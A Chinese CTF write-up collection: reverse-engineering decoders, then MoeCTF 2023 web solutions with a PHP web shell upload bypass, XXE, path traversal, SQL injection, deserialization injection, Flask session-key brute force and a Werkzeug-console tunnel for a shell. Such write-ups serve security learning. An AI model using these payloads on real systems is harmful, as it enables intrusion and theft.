```
enc = "gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~"
```

通过分析可得该函数将密文是由明文的每个字符转ascii值后加一得到的，要得到明文则将每个字符的ascii值减一即可。

```python
str = "gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~"
for s in str:
    print(chr(ord(s) - 1), end='')

# flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}
```

### \[Week 1]Segments

百度 `IDA的Segments窗口要怎么打开呢` ，可以得到结果 `Shift+F7` ，将 Segments 窗口中的 name 拼凑起来就是 flag。

```
flag{You_ar3_g0od_at_f1nding_ELF_segments_name}
```

### \[Week 1]ELF

用 ida64 打开，通过反编译可以得到以下内容

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // edx
  char *s1; // [rsp+0h] [rbp-20h]
  char *v6; // [rsp+8h] [rbp-18h]
  char *s; // [rsp+10h] [rbp-10h]

  s = (char *)malloc(0x64uLL);
  printf("Input flag: ");
  fgets(s, 100, stdin);
  s[strcspn(s, "\n")] = 0;
  v6 = (char *)encode(s);
  v3 = strlen(v6);
  s1 = (char *)base64_encode(v6, v3);
  if ( !strcmp(s1, "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t") )
    puts("Correct");
  else
    puts("Wrong");
  free(v6);
  free(s1);
  free(s);
  return 0;
}

_BYTE *__fastcall encode(const char *a1)
{
  size_t v1; // rax
  int v2; // eax
  _BYTE *v4; // [rsp+20h] [rbp-20h]
  int i; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+2Ch] [rbp-14h]

  v1 = strlen(a1);
  v4 = malloc(2 * v1 + 1);
  v6 = 0;
  for ( i = 0; i < strlen(a1); ++i )
  {
    v2 = v6++;
    v4[v2] = (a1[i] ^ 0x20) + 16;
  }
  v4[v6] = 0;
  return v4;
}
```

通过分析可知密文是由明文的每个字符与 0x20 进行异或后加 16 并进行 base64 编码得到的，要得到明文则先进行 base64 解码后将所得的每个位减去 16 再和 0x20 异或即可，脚本如下。

```python
import base64

encoded_str = "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t"
decoded_bytes = base64.b64decode(encoded_str)
print(decoded_bytes)
for s in decoded_bytes:
    print(chr((s - 16) ^ 0x20), end="")
    
# flag{D0_4ou_7now_wha7_ELF_1s?}
```

### \[Week 1]Endian

用 ida64 打开，通过反编译可以得到以下内容

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-3Ch]
  char *v5; // [rsp+8h] [rbp-38h]
  char v6[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("please input your flag");
  __isoc99_scanf("%s", v6);
  v5 = v6;
  for ( i = 0; i <= 4; ++i )
  {
    if ( *(_DWORD *)v5 != (array[i] ^ 0x12345678) )
    {
      printf("wrong!");
      exit(0);
    }
    v5 += 4;
  }
  printf("you are right");
  return 0;
}
```

并且 array 数组内容如下

```
array = [0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]
```

通过分析可知密文是通过将明文每四个为一组和 0x12345678 进行异或后得到的，但由于是低位存储，所以需要将每一组逆向过来的值进行反向即可得到 flag，脚本如下

```python
from Crypto.Util.number import long_to_bytes

array_data = [0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]
for data in array_data:
    print(bytes(reversed(long_to_bytes(data ^ 0x12345678))).decode(), end='')
    
# flag{llittl_Endian_a}
```

### \[Week 1]AndroXor

> <https://apktool.org/>
>
> <https://github.com/skylot/jadx>

可以在上述引用中下载 apktool ，下载后使用 apktool 进行逆向

```bash
$ apktool d AndroXor.apk
```

逆向后使用 jadx 打开进行 Java 反编译，在 `com/chick.androxor/MainActivity` 中存在以下内容

```java
    public String Xor(String str, String str2) {
        char[] cArr = {14, '\r', 17, 23, 2, 'K', 'I', '7', ' ', 30, 20, 'I', '\n', 2, '\f', '>', '(', '@', 11, '\'', 'K', 'Y', 25, 'A', '\r'};
        char[] cArr2 = new char[str.length()];
        String str3 = str.length() != 25 ? "wrong!!!" : "you win!!!";
        for (int i = 0; i < str.length(); i++) {
            char charAt = (char) (str.charAt(i) ^ str2.charAt(i % str2.length()));
            cArr2[i] = charAt;
            if (cArr[i] != charAt) {
                return "wrong!!!";
            }
        }
        return str3;
    }

	@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
        this.binding = inflate;
        setContentView(inflate.getRoot());
        final EditText editText = (EditText) findViewById(R.id.password);
        ((Button) findViewById(R.id.button)).setOnClickListener(new View.OnClickListener() { // from class: com.chick.androxor.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View view) {
                String obj = editText.getText().toString();
                MainActivity mainActivity = MainActivity.this;
                Toast.makeText(mainActivity, mainActivity.Xor(obj, "happyx3"), 1).show();
                Log.d("输入", editText.getText().toString());
            }
        });
    }
```

通过分析可得明文长度为 25，并且代码将循环遍历明文每一个字符，并使用每个字符与第二个参数字符串(happyx3)的对应位置字符进行异或运算，将得到的新字符添加到 cArr2 中，并且还会将cArr2中的字符与cArr中的对应位置字符进行比较。

因此要获得明文需要对应位置逐个异或运算推回来即可，先将 cArr 数字中的其他值都转化为 ascii 值形态，再进行异或运算，将运算结果转回字符即可，脚本如下

```python
cArr = [14, '\r', 17, 23, 2, 'K', 'I', '7', ' ', 30, 20, 'I', '\n', 2, '\f', '>', '(', '@', 11, '\'', 'K', 'Y', 25, 'A', '\r']
str = ""
str2 = "happyx3"

def convert_to_ord(lst):
    for i in range(len(lst)):
        if not isinstance(lst[i], int):
            lst[i] = ord(lst[i])
    return lst

cArr = convert_to_ord(cArr)

for i in range(25):
    str += chr(cArr[i] ^ ord(str2[i % len(str2)]))

print(str)

# flag{3z_And0r1d_X0r_x1x1}
```

### \[Week 1]EzPE

下载附件后用查壳工具查发现无法查出来，用 010 打开和其他 exe 文件对比发现缺失了文件头部分，需将文件头部分进行修复。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FMEPGebOjUqq8l8DrWOab%2FEzPE-1.png?alt=media&amp;token=61a87172-da22-4f40-b6a3-8e554f54118d" alt=""><figcaption></figcaption></figure>

用 ida64 打开，通过反编译可以得到以下内容

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+2Ch] [rbp-4h]

  _main(argc, argv, envp);
  puts(&draw);
  puts("Please enter your flag!\n");
  scanf("%s", input);
  for ( i = 0; i < strlen(input) - 1; ++i )
    input[i] ^= i ^ input[i + 1];
  if ( !strcmp(input, data) )
    puts("You Win!");
  else
    puts("You lose!");
  system("pause");
  return 0;
}
```

并且 data 数组内容如下

```python
array_data = [
  0x0A, 0x0C, 0x04, 0x1F, 0x26, 0x6C, 0x43, 0x2D, 0x3C, 0x0C,
  0x54, 0x4C, 0x24, 0x25, 0x11, 0x06, 0x05, 0x3A, 0x7C, 0x51,
  0x38, 0x1A, 0x03, 0x0D, 0x01, 0x36, 0x1F, 0x12, 0x26, 0x04,
  0x68, 0x5D, 0x3F, 0x2D, 0x37, 0x2A, 0x7D
]
```

通过分析可得密文由将明文的每个字符与其下一个字符以及当前 index 值进行异或运算，并将结果赋值给当前字符，因此要逆向回来只需要倒转反过来即可，脚本如下

```python
array_data = [
  0x0A, 0x0C, 0x04, 0x1F, 0x26, 0x6C, 0x43, 0x2D, 0x3C, 0x0C,
  0x54, 0x4C, 0x24, 0x25, 0x11, 0x06, 0x05, 0x3A, 0x7C, 0x51,
  0x38, 0x1A, 0x03, 0x0D, 0x01, 0x36, 0x1F, 0x12, 0x26, 0x04,
  0x68, 0x5D, 0x3F, 0x2D, 0x37, 0x2A, 0x7D
]
print(len(array_data))
for i in range(len(array_data) - 2, 0, -1):
    array_data[i] ^= i ^ array_data[i + 1]
print(''.join(chr(data) for data in array_data))

# flag{Y0u_kn0w_what_1s_PE_File_F0rmat}
```

### \[Week 1]lazy\_activtiy

> <https://github.com/liaojack8/AndroidKiller>

使用 AndroidKiller 打开后搜索 flag 即可得到 flag。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FZl7WLJOue4Uv9zlfSF1T%2Flazy_activtiy-1.png?alt=media&amp;token=36498bef-15b7-4f75-a37b-1e899525c9b5" alt=""><figcaption></figcaption></figure>

```
flag{Act1v1ty_!s_so00oo0o_Impor#an#}
```

###


# MoeCTF 2023

## Web

### 入门指北

十六进制转字符串可以得到以下内容

```
flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
```

再进行一次 base64 解码就可以得到 flag。

```
moectf{w3lCome_To_moeCTF_W2b_challengE!!}
```

### http

Payload 如下

```http
Param: UwU=u
Body: Luv=u
X-Forwarded-For: 127.0.0.1
Cookie: character=admin
User-Agent: MoeBrowser
```

moectf{basic\_http\_knowledge\_Xcpf6zq45VutatFPmmelppGUvZpFN\_yK}

### cookie

注册 `POST /register`

```json
{
    "username":"koito1",
    "password":"123456"
}
```

登录 `POST /login`

```json
{
    "username":"koito1",
    "password":"123456"
}
```

获取flag `GET /flag` ，回显没管理员权限，Cookie 存在 Token，将 Token 通过 base64 解码可以得到以下内容

```json
{"username": "koito1", "password": "123456", "role": "user"}
```

修改成以下内容

```json
{"username": "koito1", "password": "123456", "role": "admin"}
```

并通过 base64 进行编码，并构造 Payload 如下

```http
Cookie: character=admin; token=eyJ1c2VybmFtZSI6ICJrb2l0bzEiLCAicGFzc3dvcmQiOiAiMTIzNDU2IiwgInJvbGUiOiAiYWRtaW4ifQ==
```

即可获取 flag `moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}` 。

### 彼岸的flag

打开源代码梭哈。

### gas!gas!gas!

```python
import requests
import time
session = requests.Session()

url = "http://localhost:60043/"

def car():
    data = {
        "driver": "1",
        "steering_control": "0",
        "throttle": "2"
    }
    for _ in range(0, 7):
        time.sleep(0.1)
        ret = session.post(url, data=data)
        print(data)
        #print(ret.text)
        if "弯道向右" in ret.text:
            data["steering_control"] = "-1"
            print("弯道向右")
        if "弯道直行" in ret.text:
            data["steering_control"] = "0"
            print("弯道直行")
        if "弯道向左" in ret.text:
            data["steering_control"] = "1"
            print("弯道向左")
        if "抓地力太大了！" in ret.text:
            data["throttle"] = "2"
            print("抓地力太大了！")
        if "保持这个速度" in ret.text:
            data["throttle"] = "1"
            print("保持这个速度")
        if "抓地力太小了！" in ret.text:
            data["throttle"] = "0"
            print("抓地力太小了！")
        if "失误了！别紧张，车手，重新来过吧" in ret.text:
            print("失误了！别紧张，车手，重新来过吧")
            return 0
        if "moectf{" in ret.text:
            print(ret.text)
            return 1


car()
```

moectf{Beautiful\_Drifting!!\_EUbAUerqztK\_HgTz73ykI5tjKTs6ZkTb}

### 大海捞针

```python
import requests
import time

url = "http://localhost:62225/"

def flag():
    for i in range(584, 1001):
        time.sleep(0.03)
        print("{0}..".format(i))
        ret = requests.get(url, params={
            "id": i
        })
        print(ret.text)
        if "moectf{" in ret.text:
            print(ret.text)
            return 1


flag()
```

flag 在 id `920` 中，moectf{script\_helps\_W4ybDNdcii8fJu2uinmgRX6XNZ0PxVOF}

### signin

#### 0x02 收集信息

```python
assert "admin" in users
assert users["admin"] == "admin"
```

得知 `admin` 密码为 `admin` 。

#### 0x01 分析 eval

这串代码存在一个离谱的地方，就是这个 eval 函数，一步步来。

```python
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
```

`int.to_bytes()` 函数会将一个整数转化为其字节表示，其中一个十六进制数和一个大整数进行异或，将异或的结果转化为160字节长度的字节串，并且是 big endian 字节顺序，再通过 `.decode()` 将字节转换成字符串，通过 `.translate({ord(c):None for c in "\x00"})` 移除了所有的 `\x00` 的字节最后传递给 `eval()` 函数进行执行。

```python
print(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"}))
# [[0] for base64.b64encode in [base64.b64decode]]
```

也就是说，`base64.b64encode` 其实是 `base64.b64decode` ，因此下方的 `decrypt()` 函数其实是下面这样的。

```python
def decrypt(data:str):
        for x in range(5):
            data = base64.b64decode(data).decode()
        return data
```

#### 0x03 分析 gethash

```python
def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]
```

程序会 `hashed_users = dict((k,gethash(k,v)) for k,v in users.items())` 生成一个 dict 存放 username 和其根据 `gethash()` 函数所得到的值，但是当账号和密码相同时，`gethash()` 函数均返回 `0` 。以 `{"admin": "admin"}` 为例子，通过运行以上代码可以得到类似回显。

```
item:admin
c:102686882367982976480853838608729908860
item:admin
c:0
```

#### 0x04 FLAG 获得方法

```python
hashed = gethash(params.get("username"), params.get("password"))
for k, v in hashed_users.items():
    if hashed == v:
        data = {
            "user": k,
            "hash": hashed,
            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
        }
        self.send_response(200)
        self.end_headers()
        self.wfile.write(json.dumps(data).encode())
        print("success")
        return
```

要获得 FLAG 需要使得 `hashed == v` ，也就是说需要使得 `hashed` 的值为 `0` ，因为 `admin` 的 hash 值为 `0` ，但是还需要通过某个手段来绕过这段代码的限制。

```python
if params.get("username") == params.get("password"):
    self.send_response(403)
    self.end_headers()
    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
    print("same")
    return
```

通过构造

```json
{"username":1,"password":"1"}
```

进行 5 次 base64 编码得到

```
VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJsVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzTUZVeFl6QmtNVUpTVUZRd1BRPT0=
```

后构造 Payload 如下

```json
{"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJsVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzTUZVeFl6QmtNVUpTVUZRd1BRPT0="}
```

即可得到回显如下

```json
{"user": "admin",
 "hash": "0",
 "flag": "moectf{C0nGUrAti0ns!_y0U_hAve_sUCCessFUlly_siGnin!_iYlJf!M3rux9G9Vf!Jox}"
}
```

### moe图床

通过访问 `./upload.php` 可以得到内容如下

```php
<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];
    $tmp_path = $_FILES['file']['tmp_name'];

    if ($file['type'] !== 'image/png') {
        die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
    }

    if (filesize($tmp_path) > 512 * 1024) {
        die(json_encode(['success' => false, 'message' => '文件太大']));
    }

    $fileName = $file['name'];
    $fileNameParts = explode('.', $fileName);

    if (count($fileNameParts) >= 2) {
        $secondSegment = $fileNameParts[1];
        if ($secondSegment !== 'png') {
            die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
        }
    } else {
        die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
    }

    $uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);

    if (move_uploaded_file($tmp_path, $uploadFilePath)) {
        die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
    } else {
        die(json_encode(['success' => false, 'message' => '文件上传失败']));
    }
}
else{
    highlight_file(__FILE__);
}
?>
```

通过分析可以得知只对文件名的第二部分进行校对，因此可以通过修改文件名为 `shell.png.php` 进行绕过，构造 Payload 如下

```
<?php eval($_POST[1]); ?>
```

通过蚁剑一把梭可以得到 flag 如下

```
moectf{hmmm_improper_filter_UHTtyCKaTduCaSvieWWJwjduiQz-SEqV}
```

### 了解你的座驾

通过 Network 可以发现 POST 请求，发现 xml ，尝试 XXE ，构造 Payload如下

```
xml_content=%0d%3c!DOCTYPE%20shell%5b%0d%0a%3c!ENTITY%20en%20SYSTEM%20%22%2fflag%22%3e%0d%0a%5d%3e%0a%3cxml%3e%3cname%3e1%26en%3b2%3c%2fname%3e%3c%2fxml%3e
```

即可得到 flag 如下

```
moectf{Which_one_You've_Chosen?xK1hOAilRmh6oK1kQehxQefFcpFo29ME}
```

### meo图床

通过上传图片后，可以得到以下 url

```
http://localhost:59661/images.php?name=64dba568f03b0_1.png
```

使用目录穿越查看根目录的 `/flag` ，url 如下

```
http://localhost:59661/images.php?name=../../../../../../flag
```

可以得到以下内容

```
hello~
Flag Not Here~
Find Somewhere Else~


<!--Fl3g_n0t_Here_dont_peek!!!!!.php-->

Not Here~~~~~~~~~~~~~ awa
```

通过访问 `Fl3g_n0t_Here_dont_peek!!!!!.php` 可以得到以下内容

```php
<?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
    $param1 = $_GET['param1'];
    $param2 = $_GET['param2'];

    if ($param1 !== $param2) {
        
        $md5Param1 = md5($param1);
        $md5Param2 = md5($param2);

        if ($md5Param1 == $md5Param2) {
            echo "O.O!! " . getenv("FLAG");
        } else {
            echo "O.o??";
        }
    } else {
        echo "o.O?";
    }
} else {
    echo "O.o?";
}

?> O.o?
```

分析得知是 md5 绕过，通过构造 Payload 如下

```
param1=s878926199a&param2=s155964671a
```

就可以到 flag 如下

```
moectf{oops_file_get_contents_controllable_lWpZo5UIiqnxK8URcmyyVmfrVt_M9EtF}
```

### 夺命十三枪

```php
// index.php
<?php
highlight_file(__FILE__);
require_once('Hanxin.exe.php');
$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';
$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);
$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';
try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>

// Hanxin.exe.php
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}
class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );
    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
    public $Chant = '';
    public $Spear_Owner = 'Nobody';
    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }
    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}
?>
```

#### 0x00 POP 链

```
Omg_It_Is_So_Cool_Bring_Me_My_Flag::__construct()->Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString()
```

```
http://localhost:61356/?chant=di_jiu_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
```

### 出去旅游的心海

打开发现 `/wordpress` ，用 WPSCAN 扫发现没有什么可用的东西，扫不出漏洞插件，只能知道 WordPress 的版本，通过查看网页源代码可以发现一个 API 如下

```
wp-content/plugins/visitor-logging/logger.php
```

通过访问可以得到 `logger.php` 源码如下

```php
<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
  Still in development! :)
*/

// 不许偷看！这些代码我还在调试呢！
highlight_file(__FILE__);

// 加载数据库配置，暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库，等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
    echo '数据库连接失败: ' . $mysqli->connect_error;
    exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
    echo '数据插入成功';
} else {
    echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用
```

通过分析代码可知可以进行 SQL 报错注入，那就试试！

构造 Payload 如下

```
ip=1&user_agent=1&time='2023-08-28 16:15:40' or updatexml(1,concat(0x7e,database()),0)
```

可以得到数据库名 `wordpress` ，构造 Payload 如下

```
ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wordpress')),0)
```

可以得到表名 `secret_of_kokomi, visitor_record` ，构造 Payload 如下

```
ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wordpress' and table_name='secret_of_kokomi')),0)
```

可以得到字段名 `content, id` ，构造 Payload 如下

```
ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(content) from secret_of_kokomi)),0)
```

可以得到 `id` 字段的全部内容 `1,2,3` ，这时候就觉得怪了，这边 3 个，上面 `content` 字段就两个，不对哇，那就构造 Payload 如下看看

```
ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(content) from secret_of_kokomi where id='3')),0)
```

可以得到回显如下

```
moectf{Dig_Thr0ugh_Eve2y_C0de_3
```

哦？这不是 flag 嘛，用 `mid()` 函数截取输出下，Payload 如下

```
ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,mid((select group_concat(content) from secret_of_kokomi where id='3'),20)),0)
```

可以得到回显如下

```
Eve2y_C0de_3nd_Poss1bIlIti3s!!}
```

拼起来就可以得到 flag 如下

```
moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}
```

### moeworld

下载附件可以得到加密的压缩包 `hint.zip` 以及 题目描述一份。

```
本题你将扮演**红队**的身份，以该外网ip入手，并进行内网渗透，最终获取到完整的flag

题目环境：http://47.115.201.35:8000/

在本次公共环境中渗透测试中，希望你**不要做与获取flag无关的行为，不要删除或篡改flag，不要破坏题目环境，不要泄露题目环境！**

**注册时请不要使用你常用的密码，本环境密码在后台以明文形式存储**

hint.zip 密码请在拿到外网靶机后访问根目录下的**readme**，完成条件后获取

环境出现问题，请第一时间联系出题人**xlccccc**

对题目有疑问，也可随时询问出题人
```

#### 0x00 信息收集

通过扫描靶机 IP 端口可以扫出以下内容

* 80
* 8000
* 8080
* 7777
* 22
* 8777

访问题目环境显示的是一个留言板，通过对 8000 端口进行目录扫描

```bash
$ dirsearch -u http://47.115.201.35:8000/
[12:45:54] 200 -    1KB - /change                                           
[12:45:57] 200 -    2KB - /console                                          
[12:46:04] 302 -  199B  - /index  ->  /login                                
[12:46:06] 200 -    1KB - /login                                            
[12:46:07] 200 -   74B  - /logout                                           
[12:46:15] 200 -  966B  - /register 
```

可以得到该站点存在以下路径可以访问

* /change
* /console - Werkzeug Debugger
* /index
* /login
* /logout
* /register

通过随便注册一个账号可以发现如下内容

```
admin
2023-08-01 19:22:07
记录一下搭建留言板的过程
首先确定好web框架，笔者选择使用简单的flask框架。
然后使用强且随机的字符串作为session的密钥。
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
最后再写一下路由和数据库处理的函数就完成啦！！
身为web手的我为了保护好服务器，写代码的时候十分谨慎，一定不会让有心人有可乘之机！
```

在 Header - Cookie 可以看到以下内容

```http
Cookie: session=eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMzM0NSJ9.ZO8JIQ.2Fe5uGvbCEcDs3iqMVW0vYhB4hQ
```

访问 `/console` 可以发现是一个 Werkzeug Debugger 但是需要 PIN 才能解开，给了 `app.secret_key` 的 Hint 那就先试试伪造 Session 吧。

#### 0x01 Flask Session 伪造

> <https://github.com/noraj/flask-session-cookie-manager>

通过分析 secret\_key 的生成方式可以得知只需要猜出 `os.urandom(2).hex()` 生成的随机值就行，这个随机值的范围是 `0000-ffff` （通过本地输出该函数发现是小写字母），通过结合 `flask-session-cookie-manager3.py` 编写一个脚本进行爆破。

通过上方的抓包获取到的 Session 用 `flask-session-cookie-manager3.py` 进行 decode 可以得到结构如下

```json
{
    "power": "guest",
    "user": "123345"
}
```

也可以通过 <https://www.kirsle.net/wizards/flask-session.cgi> 在线 Decode。

使用脚本前需要修改脚本中 `session` 的 `user` 值，确保当前用户存在（

```python
import os
import requests
import itertools
from itsdangerous import base64_decode
import ast
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key

class FSCM():
    @staticmethod
    def encode(secret_key, session_cookie_structure):
        try:
            app = MockApp(secret_key)
            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)
            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e

    @staticmethod
    def decode(session_cookie_value, secret_key=None):
        try:
            if secret_key is None:
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
            raise e

def test_key(randomHex):
    print(randomHex)
    session = FSCM.encode("This-random-secretKey-you-can't-get{0}".format(randomHex), '{"power": "guest","user": "fdasfdsa"}')
    headers = {"Cookie": f"session={session}"}
    data = {'message': 'test'}
    ret = requests.post('http://47.115.201.35:8000', headers=headers, data=data)
    print(ret.status_code)
    print(session)
    print('=========')
    if 'upload successfully' in ret.text:
        return (randomHex, session, ret.text)
    return None

hex_digits = '0123456789ABCDEF'
combinations = [''.join(comb).lower() for comb in itertools.product(hex_digits, repeat=4)]

for combination in combinations:
    result = test_key(combination)
    if result:
        print(result[0])
        print(result[1])
        print(result[2])
        break
        
"""
06f0
eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImZkYXNmZHNhIn0.ZO7ASA.7z7ikCoBWPTz0iyHgPENP_TTvQw
<script>alert("upload successfully");window.location.href="/index";</script>
"""
```

因此可以得到 `os.urandom(2).hex()` 生成的值为 `06f0` ，`secret_key` 的值也就是 `This-random-secretKey-you-can't-get06f0` 。

通过 flask-session-cookie-manager 进行 encode 就可以进行 Session 伪造成 admin 了，具体操作如下

```bash
$ python flask_session_cookie_manager3.py encode -t '{\"power\": \"admin\",\"user\": \"admin\"}' -s "This-random-secretKey-you-can't-get06f0" 
eyJwb3dlciI6ImFkbWluIiwidXNlciI6ImFkbWluIn0.ZO7MYg.HmVA8P4WT3h5qsDKMvAES1OwmJI
```

通过 BurpSuite 修改下 Cookie 中的 Session 就可以伪装成 admin 用户了，通过访问就可以得到以下内容。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FBo5Sb8TlmObMLHcy5ofk%2Fmoeworld-1.png?alt=media&amp;token=fa1fa01c-8d4c-4bde-905e-ffe46b4723f0" alt=""><figcaption></figcaption></figure>

可以得到 PIN 码是 `904-474-531` ，那下一步就是去获取 Console

#### 0x02 获取 Console

在 `/console` 页面输入 PIN 码后即可使用控制台，可以通过 Console 来反弹 Shell，可以选择在自己服务器上搭建一个 [nps](https://github.com/ehang-io/nps) ，可以看看 [官方文档](https://ehang-io.github.io/nps/#/install) 。安装完成后在 Linux 装上客户端，通过服务端的 `客户端 - 新增` 后生成的唯一验证密钥（Unique verify Key）进行连接，具体方法如下

```bash
$ ./npc -server=<nsp服务端 IP>:8024 -vkey=<Unique verify Key>
```

